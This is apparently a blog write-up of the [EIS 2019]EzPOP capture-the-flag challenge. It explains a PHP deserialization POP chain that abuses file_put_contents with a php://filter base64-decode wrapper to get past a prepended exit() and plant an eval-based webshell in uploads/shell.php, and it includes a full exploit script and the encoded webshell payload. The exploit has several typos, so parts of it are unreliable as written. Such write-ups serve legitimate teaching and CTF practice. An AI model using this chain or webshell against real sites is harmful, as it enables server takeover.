POP链构造的学习

一直学pop链,原理是懂的,但是就是做不出来题目,这次好好总结一下,直接上题目,研究的是

[EIS 2019]EzPOP

这道题还是很有难度的

源代码如下:

  1 <?php
  2 error_reporting(0);
  3 
  4 class A {
  5 
  6     protected $store;
  7 
  8     protected $key;
  9 
 10     protected $expire;
 11 
 12     public function __construct($store, $key = 'flysystem', $expire = null) {
 13         $this->key = $key;
 14         $this->store = $store;
 15         $this->expire = $expire;
 16     }
 17 
 18     public function cleanContents(array $contents) {
 19         $cachedProperties = array_flip([
 20             'path', 'dirname', 'basename', 'extension', 'filename',
 21             'size', 'mimetype', 'visibility', 'timestamp', 'type',
 22         ]);
 23 
 24         foreach ($contents as $path => $object) {
 25             if (is_array($object)) {
 26                 $contents[$path] = array_intersect_key($object, $cachedProperties);
 27             }
 28         }
 29 
 30         return $contents;
 31     }
 32 
 33     public function getForStorage() {
 34         $cleaned = $this->cleanContents($this->cache);//$cleaned=array(111=>'hello')
 35 
 36         return json_encode([$cleaned, $this->complete]);//{"111","hello"}    String(15)//而base64中没有""{},所以最终变成了111hello
 37     }
 38 
 39     public function save() {
 40         $contents = $this->getForStorage();$c
 41 
 42         $this->store->set($this->key, $contents, $this->expire);
 43     }
 44 
 45     public function __destruct() {
 46         if (!$this->autosave) {
 47             $this->save();
 48         }
 49     }
 50 }
 51 
 52 class B {
 53 
 54     protected function getExpireTime($expire): int {
 55         return (int) $expire;
 56     }
 57 
 58     public function getCacheKey(string $name): string {
 59         return $this->options['prefix'] . $name;
 60     }
 61 
 62     protected function serialize($data): string {
 63         if (is_numeric($data)) {
 64             return (string) $data;
 65         }
 66 
 67         $serialize = $this->options['serialize'];
 68 
 69         return $serialize($data);
 70     }
 71 
 72     public function set($name, $value, $expire = null): bool{
 73         $this->writeTimes++;
 74 
 75         if (is_null($expire)) {
 76             $expire = $this->options['expire'];
 77         }
 78 
 79         $expire = $this->getExpireTime($expire);
 80         $filename = $this->getCacheKey($name);
 81 
 82         $dir = dirname($filename);
 83 
 84         if (!is_dir($dir)) {
 85             try {
 86                 mkdir($dir, 0755, true);
 87             } catch (\Exception $e) {
 88                 // 创建失败
 89             }
 90         }
 91 
 92         $data = $this->serialize($value);
 93 
 94         if ($this->options['data_compress'] && function_exists('gzcompress')) {
 95             //数据压缩
 96             $data = gzcompress($data, 3);
 97         }/人为控制跳过即option['data_compress']=0
 98 
 99         $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;//base64 4个字节一组所以<?php// exit();?一共17个字符但是可识别的有php//exit一共9个字符所以再加3个到12个就不会影响到后面的base64解码了
100         $result = file_put_contents($filename, $data);
101 
102         if ($result) {
103             return true;
104         }
105 
106         return false;
107     }
108 
109 }
110 
111 if (isset($_GET['src']))
112 {
113     highlight_file(__FILE__);
114 }
115 
116 $dir = "uploads/";
117 
118 if (!is_dir($dir))
119 {
120     mkdir($dir);
121 }
122 unserialize($_GET["data"]);

我做Pop的题目习惯先找利用点,然后再往上找链条,这样思路更加清晰

首先审计代码,审完之后发现一处利用点:

1  $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
2 $result = file_put_contents($filename, $data);

这里的file_put_contents()函数可以写文件,想到的思路是可以向里面写一句话木马然后再使用蚁剑连接

然后我们看file_put_contents()的两个参数$filename和$data,发现上一行$data中有exit();也就是说我们即使向里面写入了一句话木马也无法执行,执行到exit()这里就会退出

所以我们要绕过这个死亡exit()

具体的绕过方法是使用伪协议(file_put_contents()函数的$filename参数是支持伪协议的可以进行base64编码写入)

即如果我们将$filename="php://fileter/write=convert.base64-decode/rescource=./uploads/shell.php"

那么就可以将前面的exit()等内容进行base64解码从而让php解析器认不出来就可以执行我们后面的一句话木马了(当然我们传入的一句话木马是base64编码的,也就是经过解码刚好还原成一句话木马)

现在我们的两个参数都已经确定了即

$filename="php://fileter/write=convert.base64-decode/rescource=./uploads/shell.php"

$data='JTNDJTNGcGhwJTIwQGV2YWwlMjglMjRfUE9TVCU1QiUyN2F0dGFjayUyNyU1RCUyOSUzQiUzRiUzRQ=='

然后我们去找pop链条

即我们想办法看哪里能传参数进来

先找$filename
$filename = $this->getCacheKey($name);//$filename由getCacheKey()函数赋值

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

$filename=options['prefix'].$name//options['prefix']可控可以赋值,就从这里将$filename的值打进去
然后这个$name也是set函数传进来的参数

set($name, $value, $expire = null):
$this->store->set($this->key, $contents, $this->expire);

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

这个key是我们可以传进去的

 

 

之后我们再来看$data

$data = $this->serialize($value);

protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }
//如果option['serialize']='strval'其实还是原来//strval()的作用是返回字符串

然后再找$value这个变量

 public function set($name, $value, $expire = null)://$value是这个函数传进来的那就找谁调用了这个函数
 
     public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }//发现classA中save()函数调用了set函数,很明显store应该是classB的对象,然后我们找$content这个变量
    //
发现这个变量   $contents = $this->getForStorage();是这个函数的返回结果
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

即$content=json_encode([$cleaned, $this->complete])//json_encode()对$cleaned进行编码
那么继续找$cleaned $cleaned = $this->cleanContents($this->cache);//这里的$cache参数可控
找cleanContents

     public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);//将键值反转即现在为'path'=>0,'dirname'=>1......

        foreach ($contents as $path => $object) {//将$contents的键赋给$path,将值赋给$object//这是遍历关联数组的方法
            if (is_array($object)) {//检查$object是否是数组,如果是返回true,所以这里应该传一个数组中的一个元素还是数组
                $contents[$path] = array_intersect_key($object, $cachedProperties);//array_intersect_key($array,$array2)寻找数组$array与$array2中相同键的值($array的值)
                //举个例子:
                //$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
            //$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);
            //var_dump(array_intersect_key($array1, $array2));
            //会发现array(2) {
             // ["blue"]=>
            //  int(1)
            //  ["green"]=>
            //  int(3)
}
            }
        }

        return $contents;
    }
    

所以可以开始传参数了:
$cache=array('path'=>array(111=>'PD9waHAgQGV2YWwoJF9QT1NUWydhdHRhY2snXSk7Pz4=')) //这是一句话木马
$options=array('prefix'=>'php://filter/read=convert.base64-decode/./upload/shell.php' )

 

 

现在所以的代码都分析完毕了,开始写exp:

<?php
class A{
protected $store;
protected $key='shell.php';
protecttd $expire=null;
public $autosave=0;
public $cache=array(111=>array("path"=>"PD9waHAgQGV2YWwoJF9QT1NUWydhdHRhY2snXSk7Pz4="));
public $complete=1;
public function _construct($store){
$this->store=$store;
}
}
class B{
public $options=array("data_copress"=>0,'expire'=>0,
'prefix'=>'php://filter/write=convert.base64-decode/resource=./uploads/',
'serialize'=>'strval');
}

$b=new B;
$a=new A($b);
echo urlencode(serialize($a))
?>

注意:
这里的$cache为什么要写成111=>array()
//base64 4个字节一组所以<?php// exit();?一共17个字符但是可识别的有php//exit一共9个字符所以再加3个到12个就不会影响到后面的base64解码了
所以这里的111就是加的三个字符

posted @ 2021-08-27 10:34  无据  阅读(283)  评论(0)    收藏  举报